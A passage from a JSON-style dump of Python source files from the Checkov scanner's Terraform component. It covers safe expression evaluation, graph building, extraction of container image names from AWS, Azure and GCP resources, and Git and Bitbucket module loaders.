input_str.lstrip(prefix)\nSAFE_EVAL_DICT[\"trimsuffix\"] = lambda input_str, prefix: input_str.rstrip(prefix)\nSAFE_EVAL_DICT[\"trimspace\"] = lambda input_str: input_str.strip()\nSAFE_EVAL_DICT[\"upper\"] = lambda input_str: input_str.upper()\n\n# collections\nSAFE_EVAL_DICT[\"chunklist\"] = lambda lst, chunk_size: [lst[i : i + chunk_size] for i in range(0, len(lst), chunk_size)]\nSAFE_EVAL_DICT[\"coalesce\"] = coalesce\nSAFE_EVAL_DICT[\"coalescelist\"] = coalesce_list\nSAFE_EVAL_DICT[\"compact\"] = lambda lst: list(filter(lambda value: value != \"\", lst))\nSAFE_EVAL_DICT[\"concat\"] = lambda *lists: list(itertools.chain(*lists))\nSAFE_EVAL_DICT[\"contains\"] = lambda lst, value: value in lst\nSAFE_EVAL_DICT[\"distinct\"] = lambda lst: list(dict.fromkeys(lst))\nSAFE_EVAL_DICT[\"element\"] = lambda lst, index: lst[index]\nSAFE_EVAL_DICT[\"flatten\"] = flatten\nSAFE_EVAL_DICT[\"index\"] = lambda lst, value: lst.index(value)\nSAFE_EVAL_DICT[\"keys\"] = lambda map_input: list(map_input.keys())\nSAFE_EVAL_DICT[\"length\"] = len\nSAFE_EVAL_DICT[\"list\"] = lambda *args: list(args)\nSAFE_EVAL_DICT[\"lookup\"] = lambda map_input, key, default: map_input.get(key, default)\nSAFE_EVAL_DICT[\"map\"] = lambda *args: wrap_func(create_map, list(args))\nSAFE_EVAL_DICT[\"matchkeys\"] = matchkeys\nSAFE_EVAL_DICT[\"merge\"] = merge\n# SAFE_EVAL_DICT['range']\nSAFE_EVAL_DICT[\"reverse\"] = reverse\nSAFE_EVAL_DICT[\"sort\"] = sort\nSAFE_EVAL_DICT[\"zipmap\"] = lambda *lists: dict(zip(*lists))  # noqa: B905\n\n\n# type conversion\nSAFE_EVAL_DICT[\"tobool\"] = lambda arg: wrap_func(tobool, arg)\nSAFE_EVAL_DICT[\"tolist\"] = lambda *args: list(*args)\n# SAFE_EVAL_DICT[\"tomap\"] = lambda arg: wrap_func(tomap, str(arg))\nSAFE_EVAL_DICT[\"tonumber\"] = lambda arg: arg if type(arg) in [int, float] else wrap_func(tonumber, arg)\nSAFE_EVAL_DICT[\"toset\"] = lambda origin: set(origin)\nSAFE_EVAL_DICT[\"tostring\"] = lambda arg: arg if isinstance(arg, str) else wrap_func(tostring, str(arg))\n\n# encoding\nSAFE_EVAL_DICT[\"jsonencode\"] = lambda arg: arg\n\n# date functions\nSAFE_EVAL_DICT[\"timestamp\"] = lambda: datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')\nSAFE_EVAL_DICT[\"timeadd\"] = timeadd\nSAFE_EVAL_DICT[\"formatdate\"] = formatdate\n\n\ndef get_asteval() -> Interpreter:\n    # asteval provides a safer environment for evaluating expressions by restricting the operations to a secure subset, significantly reducing the risk of executing malicious code.\n    return Interpreter(\n        symtable=SAFE_EVAL_DICT,\n        use_numpy=False,\n        minimal=True\n    )\n\n\ndef evaluate(input_str: str) -> Any:\n    \"\"\"\n    Safely evaluate a Terraform-like function expression using a predefined function map.\n    Falls back gracefully if evaluation fails.\n    \"\"\"\n    if not input_str or input_str == \"...\":\n        # don't create an Ellipsis object\n        return input_str\n    if input_str.startswith(\"try\"):\n        # As `try` is a saved word in python, we can't override it like other functions as `eval` won't accept it.\n        # Instead, we are manually replacing this string with our own custom string, so we can pass it to `eval`.\n\n        # Don't use str.replace to make sure we replace just the first occurrence\n        input_str = f\"{TRY_STR_REPLACEMENT}{input_str[3:]}\"\n    if input_str == \"continue\":\n        return input_str\n    asteval = get_asteval()\n    log_level = os.getenv(\"LOG_LEVEL\")\n    should_log_asteval_errors = log_level == \"DEBUG\"\n    if RANGE_PATTERN.match(input_str):\n        temp_eval = asteval(input_str, show_errors=should_log_asteval_errors)\n        evaluated = input_str if temp_eval < 0 else temp_eval\n    else:\n        evaluated = asteval(input_str, show_errors=should_log_asteval_errors)\n\n    if asteval.error:\n        error_messages = [err.get_error() for err in asteval.error]\n        raise ValueError(f\"Safe evaluation error: {error_messages}\")\n\n    return evaluated if not isinstance(evaluated, str) else remove_unicode_null(evaluated)\n\n\ndef remove_unicode_null(input_str: str) -> str:\n    return input_str.replace(\"\\u0000\", \"\\\\0\")\n"
  },
  {
    "path": "checkov/terraform/graph_builder/variable_rendering/vertex_reference.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.graph.graph_builder.variable_rendering.vertex_reference import VertexReference\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\n\n\nclass TerraformVertexReference(VertexReference):\n    def __init__(self, block_type: str, sub_parts: list[str], origin_value: str) -> None:\n        super().__init__(block_type, sub_parts, origin_value)\n\n    @staticmethod\n    def block_type_str_to_enum(block_type_str: str) -> str:\n        if block_type_str == \"var\":\n            return BlockType.VARIABLE\n        if block_type_str == \"local\":\n            return BlockType.LOCALS\n        return BlockType().get(block_type_str)\n"
  },
  {
    "path": "checkov/terraform/graph_manager.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom typing import Type, Any, TYPE_CHECKING, overload, Optional\n\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR\nfrom checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\n\nfrom checkov.common.graph.graph_manager import GraphManager\nfrom checkov.terraform.tf_parser import TFParser\n\nif TYPE_CHECKING:\n    from checkov.terraform.modules.module_objects import TFDefinitionKey\n    from checkov.common.typing import LibraryGraphConnector\n\n\nclass TerraformGraphManager(GraphManager[TerraformLocalGraph, \"dict[TFDefinitionKey, dict[str, Any]]\"]):\n    def __init__(self, db_connector: LibraryGraphConnector, source: str = \"\") -> None:\n        self.parser: TFParser  # just to make sure it won't be None\n\n        parser = TFParser()\n        super().__init__(db_connector=db_connector, parser=parser, source=source)\n\n    def build_multi_graph_from_source_directory(\n        self,\n        source_dir: str,\n        local_graph_class: Type[TerraformLocalGraph] = TerraformLocalGraph,\n        render_variables: bool = True,\n        parsing_errors: Optional[dict[str, Exception]] = None,\n        download_external_modules: Optional[bool] = False,\n        excluded_paths: Optional[list[str]] = None,\n        external_modules_download_path: str = DEFAULT_EXTERNAL_MODULES_DIR,\n        vars_files: list[str] | None = None,\n        external_modules_content_cache: Optional[dict[str, Any]] = None,\n    ) -> tuple[list[tuple[TerraformLocalGraph, list[dict[TFDefinitionKey, dict[str, Any]]], str]], dict[str, str]]:\n        logging.info(\"Parsing HCL files in source dir to multi graph\")\n        modules_with_definitions = self.parser.parse_multi_graph_hcl_module(\n            source_dir=source_dir,\n            source=self.source,\n            download_external_modules=download_external_modules,\n            external_modules_download_path=external_modules_download_path,\n            parsing_errors=parsing_errors,\n            excluded_paths=excluded_paths,\n            vars_files=vars_files,\n            external_modules_content_cache=external_modules_content_cache\n        )\n\n        graphs: list[tuple[TerraformLocalGraph, list[dict[TFDefinitionKey, dict[str, Any]]], str]] = []\n        resource_subgraph_map: dict[str, str] = {}\n        for module, tf_definitions in modules_with_definitions:\n            logging.info(\"Building graph from parsed module\")\n            local_graph = local_graph_class(module)\n            local_graph.build_graph(render_variables=render_variables)\n            subgraph_abs_path = module.source_dir\n            subgraph_path = subgraph_abs_path[subgraph_abs_path.rindex(source_dir) + len(source_dir) + 1:]\n            graphs.append((local_graph, tf_definitions, subgraph_path))\n            self.update_resource_subgraph_map(local_graph, subgraph_path, resource_subgraph_map, source_dir)\n        return graphs, resource_subgraph_map\n\n    def build_graph_from_source_directory(\n        self,\n        source_dir: str,\n        local_graph_class: Type[TerraformLocalGraph] = TerraformLocalGraph,\n        render_variables: bool = True,\n        parsing_errors: Optional[dict[str, Exception]] = None,\n        download_external_modules: Optional[bool] = False,\n        excluded_paths: Optional[list[str]] = None,\n        **kwargs: Any,\n    ) -> tuple[TerraformLocalGraph, dict[TFDefinitionKey, dict[str, Any]]]:\n        logging.info(\"Parsing HCL files in source dir to graph\")\n        module, tf_definitions = self.parser.parse_hcl_module(\n            source_dir=source_dir,\n            source=self.source,\n            download_external_modules=download_external_modules,\n            external_modules_download_path=kwargs.get('external_modules_download_path', DEFAULT_EXTERNAL_MODULES_DIR),\n            parsing_errors=parsing_errors,\n            excluded_paths=excluded_paths,\n            vars_files=kwargs.get('vars_files', None),\n            external_modules_content_cache=kwargs.get('external_modules_content_cache', None)\n        )\n\n        logging.info(\"Building graph from parsed module\")\n        local_graph = local_graph_class(module)\n        local_graph.build_graph(render_variables=render_variables)\n\n        return local_graph, tf_definitions\n\n    @overload\n    def build_graph_from_definitions(\n        self, definitions: dict[str, dict[str, Any]], render_variables: bool = True,\n    ) -> TerraformLocalGraph:\n        ...\n\n    @overload\n    def build_graph_from_definitions(\n        self, definitions: dict[TFDefinitionKey, dict[str, Any]], render_variables: bool = True,\n    ) -> TerraformLocalGraph:\n        ...\n\n    def build_graph_from_definitions(\n        self,\n        definitions: dict[str, dict[str, Any]] | dict[TFDefinitionKey, dict[str, Any]],\n        render_variables: bool = True,\n    ) -> TerraformLocalGraph:\n        module, _ = self.parser.parse_hcl_module_from_tf_definitions(definitions, \"\", self.source)\n        local_graph = TerraformLocalGraph(module)\n        local_graph.build_graph(render_variables=render_variables)\n\n        return local_graph\n\n    def build_multi_graph_from_definitions(\n        self,\n        definitions: dict[TFDefinitionKey, dict[str, Any]],\n        render_variables: bool = True,\n    ) -> list[tuple[Optional[str], TerraformLocalGraph]]:\n        module, tf_definitions = self.parser.parse_hcl_module_from_tf_definitions(definitions, \"\", self.source)\n        dirs_to_definitions = self.parser.create_definition_by_dirs(tf_definitions)\n\n        graphs: list[tuple[Optional[str], TerraformLocalGraph]] = []\n        for source_path, dir_definitions in dirs_to_definitions.items():\n            module, parsed_tf_definitions = self.parser.parse_hcl_module_from_multi_tf_definitions(dir_definitions, source_path, self.source)\n            local_graph = TerraformLocalGraph(module)\n            local_graph.build_graph(render_variables=render_variables)\n            graphs.append((source_path, local_graph))\n\n        return graphs\n\n    @staticmethod\n    def update_resource_subgraph_map(\n            local_graph: TerraformLocalGraph, subgraph_path: str, resource_subgraph_map: dict[str, str], source_dir: str\n    ) -> None:\n        for v in local_graph.vertices:\n            resource_id = f\"/{os.path.relpath(v.path, source_dir)}:{v.id}\"\n            resource_subgraph_map[resource_id] = subgraph_path\n"
  },
  {
    "path": "checkov/terraform/image_referencer/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/terraform/image_referencer/base_provider.py",
    "content": "from __future__ import annotations\n\nimport os\n\nfrom hcl2 import START_LINE as HCL_START_LINE, END_LINE as HCL_END_LINE\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.images.graph.image_referencer_provider import GraphImageReferencerProvider\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.str_utils import removeprefix\nfrom checkov.terraform.graph_builder.utils import setup_file_path_to_referred_id, get_related_resource_id\n\n\nclass BaseTerraformProvider(GraphImageReferencerProvider):\n\n    def extract_images_from_resources(self) -> list[Image]:\n        images = []\n        supported_resources_graph = self.extract_nodes()\n        file_path_to_referred_id = setup_file_path_to_referred_id(self.graph_connector)\n\n        for resource in self.extract_resource(supported_resources_graph):\n            image_names: list[str] = []\n            resource_type = resource[CustomAttributes.RESOURCE_TYPE]\n\n            extract_images_func = self.supported_resource_types.get(resource_type)\n            if extract_images_func:\n                image_names.extend(extract_images_func(resource))\n\n            if not image_names:\n                # no need to process any further\n                continue\n\n            start_line = 0\n            end_line = 0\n            if all(key in resource for key in (HCL_START_LINE, HCL_END_LINE)):\n                # hcl file\n                start_line = resource[HCL_START_LINE]\n                end_line = resource[HCL_END_LINE]\n            elif all(key in resource for key in (START_LINE, END_LINE)):\n                # TF plan file\n                start_line = resource[START_LINE]\n                end_line = resource[END_LINE]\n\n            related_resource_id = get_related_resource_id(resource, file_path_to_referred_id)\n            for name in image_names:\n                images.append(\n                    Image(\n                        file_path=resource[CustomAttributes.FILE_PATH],\n                        name=name,\n                        start_line=start_line,\n                        end_line=end_line,\n                        related_resource_id=f'{removeprefix(resource.get(\"file_path_\", \"\"), os.getenv(\"BC_ROOT_DIR\", \"\"))}:{related_resource_id}'\n                    )\n                )\n\n        return images\n"
  },
  {
    "path": "checkov/terraform/image_referencer/manager.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.images.graph.image_referencer_manager import GraphImageReferencerManager\nfrom checkov.terraform.image_referencer.provider.aws import AwsTerraformProvider\nfrom checkov.terraform.image_referencer.provider.azure import AzureTerraformProvider\nfrom checkov.terraform.image_referencer.provider.gcp import GcpTerraformProvider\n\nif TYPE_CHECKING:\n    from checkov.common.images.image_referencer import Image\n\n\nclass TerraformImageReferencerManager(GraphImageReferencerManager):\n\n    def extract_images_from_resources(self) -> list[Image]:\n        images = []\n\n        aws_provider = AwsTerraformProvider(graph_connector=self.graph_connector)\n        azure_provider = AzureTerraformProvider(graph_connector=self.graph_connector)\n        gcp_provider = GcpTerraformProvider(graph_connector=self.graph_connector)\n\n        images.extend(aws_provider.extract_images_from_resources())\n        images.extend(azure_provider.extract_images_from_resources())\n        images.extend(gcp_provider.extract_images_from_resources())\n\n        return images\n"
  },
  {
    "path": "checkov/terraform/image_referencer/provider/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/terraform/image_referencer/provider/aws.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.typing import LibraryGraph\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.common.util.type_forcers import force_list, extract_json\nfrom checkov.terraform.image_referencer.base_provider import BaseTerraformProvider\n\n\nclass AwsTerraformProvider(BaseTerraformProvider):\n    def __init__(self, graph_connector: LibraryGraph) -> None:\n        super().__init__(\n            graph_connector=graph_connector,\n            supported_resource_types=SUPPORTED_AWS_IMAGE_RESOURCE_TYPES,\n        )\n\n\ndef extract_images_from_aws_apprunner_service(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    image_repo = find_in_dict(input_dict=resource, key_path=\"source_configuration/image_repository\")\n    if isinstance(image_repo, dict):\n        repo_type = image_repo.get(\"image_repository_type\")\n        name = image_repo.get(\"image_identifier\")\n        if name and isinstance(name, str) and repo_type == \"ECR_PUBLIC\":\n            image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_aws_batch_job_definition(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    properties = extract_json(resource.get(\"container_properties\"))\n    if isinstance(properties, dict):\n        name = properties.get(\"image\")\n        if name and isinstance(name, str):\n            image_names.append(name)\n\n    # node properties are not supported yet\n    # https://github.com/hashicorp/terraform-provider-aws/issues/20983\n\n    return image_names\n\n\ndef extract_images_from_aws_codebuild_project(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    name = find_in_dict(input_dict=resource, key_path=\"environment/image\")\n    if name and isinstance(name, str):\n        # AWS provided images have an internal identifier\n        if not name.startswith(\"aws/codebuild/\"):\n            image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_aws_ecs_task_definition(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    definitions = extract_json(resource.get(\"container_definitions\"))\n    if isinstance(definitions, list):\n        for definition in definitions:\n            if isinstance(definition, dict):\n                name = definition.get(\"image\")\n                if name and isinstance(name, str):\n                    image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_aws_lightsail_container_service_deployment_version(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    containers = resource.get(\"container\")\n    if containers:\n        for container in force_list(containers):\n            if isinstance(container, dict):\n                name = container.get(\"image\")\n                if name and isinstance(name, str):\n                    image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_aws_sagemaker_image_version(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    image_name = find_in_dict(input_dict=resource, key_path=\"base_image\")\n    if image_name and isinstance(image_name, str):\n        image_names.append(image_name)\n\n    return image_names\n\n\ndef extract_images_from_aws_sagemaker_model(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    containers = resource.get(\"container\")\n    if containers:\n        for container in force_list(containers):\n            if isinstance(container, dict):\n                name = container.get(\"image\")\n                if name and isinstance(name, str):\n                    image_names.append(name)\n\n    containers = resource.get(\"primary_container\")\n    if containers:\n        for container in force_list(containers):\n            if isinstance(container, dict):\n                name = container.get(\"image\")\n                if name and isinstance(name, str):\n                    image_names.append(name)\n\n    return image_names\n\n\n# needs to be at the bottom to add the defined functions\nSUPPORTED_AWS_IMAGE_RESOURCE_TYPES = {\n    \"aws_apprunner_service\": extract_images_from_aws_apprunner_service,\n    \"aws_batch_job_definition\": extract_images_from_aws_batch_job_definition,\n    \"aws_codebuild_project\": extract_images_from_aws_codebuild_project,\n    \"aws_ecs_task_definition\": extract_images_from_aws_ecs_task_definition,\n    \"aws_lightsail_container_service_deployment_version\": extract_images_from_aws_lightsail_container_service_deployment_version,\n    \"aws_sagemaker_image_version\": extract_images_from_aws_sagemaker_image_version,\n    \"aws_sagemaker_model\": extract_images_from_aws_sagemaker_model,\n}\n"
  },
  {
    "path": "checkov/terraform/image_referencer/provider/azure.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.typing import LibraryGraph\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.image_referencer.base_provider import BaseTerraformProvider\n\n\nclass AzureTerraformProvider(BaseTerraformProvider):\n    def __init__(self, graph_connector: LibraryGraph) -> None:\n        super().__init__(\n            graph_connector=graph_connector,\n            supported_resource_types=SUPPORTED_AZURE_IMAGE_RESOURCE_TYPES,\n        )\n\n\ndef extract_images_from_azurerm_batch_pool(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    containers = find_in_dict(input_dict=resource, key_path=\"container_configuration/container_image_names\")\n    if isinstance(containers, list):\n        image_names.extend(container for container in containers if isinstance(container, str))\n\n    return image_names\n\n\ndef extract_images_from_azurerm_container_group(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    containers = resource.get(\"container\")\n    if containers:\n        for container in force_list(containers):\n            name = container.get(\"image\")\n            if name and isinstance(name, str):\n                image_names.append(name)\n    containers = resource.get(\"init_container\")\n    if containers:\n        for container in force_list(containers):\n            name = container.get(\"image\")\n            if name and isinstance(name, str):\n                image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_azurerm_linux_function_app(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    docker = find_in_dict(input_dict=resource, key_path=\"site_config/application_stack/docker\")\n    if isinstance(docker, dict):\n        name = docker.get(\"image_name\")\n        tag = docker.get(\"image_tag\")\n        if name and isinstance(name, str) and tag and isinstance(tag, str):\n            image_names.append(f\"{name}:{tag}\")\n\n    return image_names\n\n\ndef extract_images_from_azurerm_linux_web_app(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    app_stack = find_in_dict(input_dict=resource, key_path=\"site_config/application_stack\")\n    if isinstance(app_stack, dict):\n        name = app_stack.get(\"docker_image\")\n        tag = app_stack.get(\"docker_image_tag\")\n        if name and isinstance(name, str) and tag and isinstance(tag, str):\n            image_names.append(f\"{name}:{tag}\")\n\n    return image_names\n\n\ndef extract_images_from_azurerm_spring_cloud_container_deployment(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    name = resource.get(\"image\")\n    if name and isinstance(name, str):\n        image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_azurerm_windows_web_app(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    app_stack = find_in_dict(input_dict=resource, key_path=\"site_config/application_stack\")\n    if isinstance(app_stack, dict):\n        name = app_stack.get(\"docker_container_name\")\n        tag = app_stack.get(\"docker_container_tag\")\n        if name and isinstance(name, str) and tag and isinstance(tag, str):\n            image_names.append(f\"{name}:{tag}\")\n\n    return image_names\n\n\n# needs to be at the bottom to add the defined functions\nSUPPORTED_AZURE_IMAGE_RESOURCE_TYPES = {\n    \"azurerm_batch_pool\": extract_images_from_azurerm_batch_pool,\n    \"azurerm_container_group\": extract_images_from_azurerm_container_group,\n    \"azurerm_linux_function_app\": extract_images_from_azurerm_linux_function_app,\n    \"azurerm_linux_function_app_slot\": extract_images_from_azurerm_linux_function_app,\n    \"azurerm_linux_web_app\": extract_images_from_azurerm_linux_web_app,\n    \"azurerm_linux_web_app_slot\": extract_images_from_azurerm_linux_web_app,\n    \"azurerm_spring_cloud_container_deployment\": extract_images_from_azurerm_spring_cloud_container_deployment,\n    \"azurerm_windows_web_app\": extract_images_from_azurerm_windows_web_app,\n    \"azurerm_windows_web_app_slot\": extract_images_from_azurerm_windows_web_app,\n}\n"
  },
  {
    "path": "checkov/terraform/image_referencer/provider/gcp.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.typing import LibraryGraph\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.terraform.image_referencer.base_provider import BaseTerraformProvider\n\n\nclass GcpTerraformProvider(BaseTerraformProvider):\n    def __init__(self, graph_connector: LibraryGraph) -> None:\n        super().__init__(\n            graph_connector=graph_connector,\n            supported_resource_types=SUPPORTED_GCP_IMAGE_RESOURCE_TYPES,\n        )\n\n\ndef extract_images_from_google_cloudbuild_trigger(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    steps = find_in_dict(input_dict=resource, key_path=\"build/step\")\n    if isinstance(steps, list):\n        for definition in steps:\n            name = definition.get(\"name\")\n            if name and isinstance(name, str):\n                image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_google_cloud_run_service(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    name = find_in_dict(input_dict=resource, key_path=\"template/spec/containers/image\")\n    if name and isinstance(name, str):\n        image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_google_cloud_run_v2_job(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    name = find_in_dict(input_dict=resource, key_path=\"template/template/containers/image\")\n    if name and isinstance(name, str):\n        image_names.append(name)\n\n    return image_names\n\n\ndef extract_images_from_google_cloud_run_v2_service(resource: dict[str, Any]) -> list[str]:\n    image_names: list[str] = []\n\n    name = find_in_dict(input_dict=resource, key_path=\"template/containers/image\")\n    if name and isinstance(name, str):\n        image_names.append(name)\n\n    return image_names\n\n\n# needs to be at the bottom to add the defined functions\nSUPPORTED_GCP_IMAGE_RESOURCE_TYPES = {\n    \"google_cloudbuild_trigger\": extract_images_from_google_cloudbuild_trigger,\n    \"google_cloud_run_service\": extract_images_from_google_cloud_run_service,\n    \"google_cloud_run_v2_job\": extract_images_from_google_cloud_run_v2_job,\n    \"google_cloud_run_v2_service\": extract_images_from_google_cloud_run_v2_service,\n}\n"
  },
  {
    "path": "checkov/terraform/module_loading/__init__.py",
    "content": "# the order is important, because it reflects the order, which will be used to download the module\nfrom checkov.terraform.module_loading.loaders.registry_loader import RegistryLoader  # noqa\nfrom checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader  # noqa\nfrom checkov.terraform.module_loading.loaders.github_loader import GithubLoader  # noqa\nfrom checkov.terraform.module_loading.loaders.bitbucket_loader import BitbucketLoader  # noqa\nfrom checkov.terraform.module_loading.loaders.github_access_token_loader import GithubAccessTokenLoader  # noqa\nfrom checkov.terraform.module_loading.loaders.bitbucket_access_token_loader import BitbucketAccessTokenLoader  # noqa\nfrom checkov.terraform.module_loading.loaders.local_path_loader import LocalPathLoader  # noqa\n"
  },
  {
    "path": "checkov/terraform/module_loading/content.py",
    "content": "from __future__ import annotations\n\nimport tempfile\nfrom typing import Optional, Union\n\n\nclass ModuleContent:\n    def __init__(\n        self,\n        dir: Optional[Union[tempfile.TemporaryDirectory[str], str]],\n        next_url: Optional[str] = None,\n        failed_url: Optional[str] = None,\n    ) -> None:\n        if isinstance(dir, tempfile.TemporaryDirectory):\n            self.dir: tempfile.TemporaryDirectory[str] | str | None = dir\n        else:\n            self.dir = dir.replace(\"//\", \"/\") if dir else None\n        self.next_url = next_url\n        self.failed_url = failed_url\n\n    def loaded(self) -> bool:\n        \"\"\"\nIndicates whether or not the module content could be loaded. If False is returned, `path()` will return None.\n        \"\"\"\n        return self.dir is not None\n\n    def path(self) -> Optional[str]:\n        \"\"\"\nReturns the directory path containing module resources.\n        \"\"\"\n        if isinstance(self.dir, tempfile.TemporaryDirectory):\n            return self.dir.name\n        else:\n            return self.dir\n\n    def cleanup(self) -> None:\n        \"\"\"\nClean up any temporary resources, if applicable.\n        \"\"\"\n        if isinstance(self.dir, tempfile.TemporaryDirectory):\n            self.dir.cleanup()\n\n    def __repr__(self) -> str:\n        return self.path() or \"\"\n"
  },
  {
    "path": "checkov/terraform/module_loading/loader.py",
    "content": "import logging\nimport os\nfrom abc import ABC, abstractmethod\nfrom typing import Optional\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.terraform.module_loading.content import ModuleContent\nfrom checkov.terraform.module_loading.module_params import ModuleParams\nfrom checkov.terraform.module_loading.registry import module_loader_registry\n\n\n# ModuleContent allows access to a directory containing module file via the `path()`\n# function. Instances may be used in a `with` context to ensure temporary directories\n# are removed, if applicable.\n\n\nclass ModuleLoader(ABC):\n    def __init__(self) -> None:\n        module_loader_registry.register(self)\n        self.logger = logging.getLogger(__name__)\n        add_resource_code_filter_to_logger(self.logger)\n        self.module_source: str = \"\"\n        self.current_dir: str = \"\"\n        self.dest_dir: str = \"\"\n        self.external_modules_folder_name: str = \"\"\n        self.version = \"latest\"\n        self.is_external = True\n        self.inner_module: Optional[str] = None\n        self.root_dir = \"\"  # root dir for storing external modules\n\n    def __eq__(self, loader: object) -> bool:\n        return type(loader) is type(self)\n\n    @abstractmethod\n    def discover(self, module_params: ModuleParams) -> None:\n        \"\"\"\n            discover parameters from execution context of checkov. usually from env variable\n        \"\"\"\n        pass\n\n    def load(self, module_params: ModuleParams) -> ModuleContent:\n        \"\"\"\nThis function provides an opportunity for the loader to load a module's content if it chooses to do so.\nThere are three resulting states that can occur when calling this function:\n 1) the loader can't handle the source type, in which case a ModuleContent is returned for which\n    the `loaded()` method will return False.\n 2) the loader can handle the source type and loading is successful, in which case a ModuleContent\n    object is returned for which `loaded()` returns True and which provides the directory containing\n    the module files\n 3) the loader tried to load the module content but and error occurred, in which case an exception\n    is raised.\n        :param module_params: dataclass object that contains all the parameters of the module to load.\n                              the data of this object can be changed according to the loader logic\n        :return: A ModuleContent object which may or may not being loaded.\n        \"\"\"\n        self.discover(module_params)\n        if not self._is_matching_loader(module_params):\n            self.logger.info(f'the module params of {module_params.module_source} do not match loader {self.__class__}')\n            return ModuleContent(dir=None)\n\n        module_path = self._find_module_path(module_params)\n        if os.path.exists(module_path):\n            self.logger.info(f'path {module_path} exists so no need to load')\n            return ModuleContent(dir=module_path)\n\n        self.logger.debug(f\"Using {self.__class__.__name__} attempting to get module \"\n                          f\"{module_params.module_source if '@' not in module_params.module_source else module_params.module_source.split('@')[1]} \"\n                          f\"version: {module_params.version}\")\n        self.logger.info(f'about to load {module_params.module_source} with {self.__class__}')\n        return self._load_module(module_params)\n\n    @abstractmethod\n    def _is_matching_loader(self, module_params: ModuleParams) -> bool:\n        raise NotImplementedError()\n\n    @abstractmethod\n    def _load_module(self, module_params: ModuleParams) -> ModuleContent:\n        raise NotImplementedError()\n\n    @abstractmethod\n    def _find_module_path(self, module_params: ModuleParams) -> str:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/terraform/module_loading/loaders/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/module_loading/loaders/bitbucket_access_token_loader.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom typing import TYPE_CHECKING\n\nfrom checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader\n\nif TYPE_CHECKING:\n    from checkov.terraform.module_loading.module_params import ModuleParams\n\n\nclass BitbucketAccessTokenLoader(GenericGitLoader):\n    def discover(self, module_params: ModuleParams) -> None:\n        self.module_source_prefix = \"bitbucket.org\"\n        module_params.username = os.getenv('BITBUCKET_USERNAME', '')\n        app_password = os.getenv('BITBUCKET_APP_PASSWORD', '')\n        module_params.token = os.getenv('BITBUCKET_TOKEN', '')\n        if module_params.token:\n            module_params.username = \"x-token-auth\"\n        elif module_params.username and app_password:\n            module_params.token = app_password\n\n\nloader = BitbucketAccessTokenLoader()\n"
  },
  {
    "path": "checkov/terraform/module_loading/loaders/bitbucket_loader.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader\n\nif TYPE_CHECKING:\n    from checkov.terraform.module_loading.module_params import ModuleParams\n\n\nclass BitbucketLoader(GenericGitLoader):\n    def discover(self, module_params: ModuleParams) -> None:\n        self.module_source_prefix = \"bitbucket.org\"\n\n\nloader = BitbucketLoader()\n"
  },
  {
    "path": "checkov/terraform/module_loading/loaders/git_loader.py",
